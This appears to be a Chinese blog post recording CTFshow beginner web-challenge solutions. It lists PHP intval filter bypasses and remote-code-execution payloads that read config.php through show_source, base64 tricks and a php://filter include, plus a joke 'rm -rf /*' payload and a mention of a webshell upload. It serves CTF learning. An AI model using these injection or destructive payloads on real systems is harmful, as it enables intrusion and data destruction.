[CTFshow]萌新区Web题目记录(连载中)
前言
我是菜鸡。
Web1(php intval特性)

get一个id,intval($id)不能大于1000,但是flag就是要1000。这里需要利用get和intval的特性:
$id = $_GET['$id'];
这样得到的变量id带有引号,如果我们直接输入1000,那么得到的\$id='1000',intval(\$id)=1000,无法绕过;但如果我们输入'1000',得到的\$id=''1000'',intval(\$id)是分析''1000''(两个单引号),判断的是'1000',以字符开头,返回0,成功绕过。
还有其他绕过方式(列举部分):
- "1000"
- 680|320(但650|350不行?)
- 999+1(intval等于999)
- (1000)
- 0x3e8(16进制,intval=0)
- 0b1111101000(2进制,intval=0)
- 144^888
- 1 or 1=1#(sql注入回显)
- id#(显示所有)
Web2(php intval特性)

和上一题相比,多了一个
preg_match("/or|\+/i",$id)
使用'1000'等方式仍可以绕过。
Web3(php intval特性)

过滤了一堆,但是'1000'还是可以拿下。
Web4(php intval特性)

你说阿呆一次一次一次换了多少个正则匹配了,改过不啦,换汤不换药啊。
Web5(php intval特性)

过滤掉了很多,但是~~1000和144^888依然可以绕过。
Web6(php intval特性)

异或也被过滤了,终极大杀器~~1000依然有效。
Web7(php intval特性)

取反也被过滤了,使用终极超级大杀器二进制0b1111101000绕过。
Web8(RCE 梗题)

我以为是个rce,结果确实是个rce,但是是个梗题,题目描述是阿呆被发配到埃塞俄比亚了,就是删库跑路了,所以payload:
?flag=rm -rf /*
大无语。
Web9(RCE)

很明确的rce,三种方式选一个,首先测试?c=system("ls");成功回显,有config.php和index.php。这里明确告诉config.php中有flag,想办法读这个文件,使用cat无法读取,使用highlight_file函数成功回显文件内容,拿到flag。
Web10(RCE)

看清楚了,这次是过滤掉了这三个,使用别的。直接show_source即可。
Web11(RCE)

多过滤了一个cat,不过不打紧,使用show_source即可。
Web12(RCE base64绕过)

又过滤了"config"、"."、"php",不过没事,我们可以采用base64编码方式绕过:
?c=$a=base64_decode("Y29uZmlnLnBocA==");show_source($a);
Web13(RCE ?>标签闭合)

好家伙,这次过滤了分号,无法闭合语句。这里学到一个东西:可以用?>直接闭合标签代替分号,所以payload:
?c=show_source(base64_decode("Y29uZmlnLnBocA=="))?>//config.php
Web14(RCE 转文件包含 php伪协议)

把左括号也过滤了,这属实把我难住了,查百度,发现这样一种sao姿势:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
把rce直接当文件包含做,学到了学到了。(这种方法对之前几个题都有效)
Web15(RCE 转文件包含/一句话木马)

又过滤了?和>这种标签闭合的符号,但是把分号放出来了。
第一种解法:上一题的payload把?>换回分号即可。
第二种解法:利用文件包含上传一句话木马,payload如下:

Web16(md5爆破)
python编写脚本进行md5爆破,不知道后面接多少位,一层一层加即可。
 
                    
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号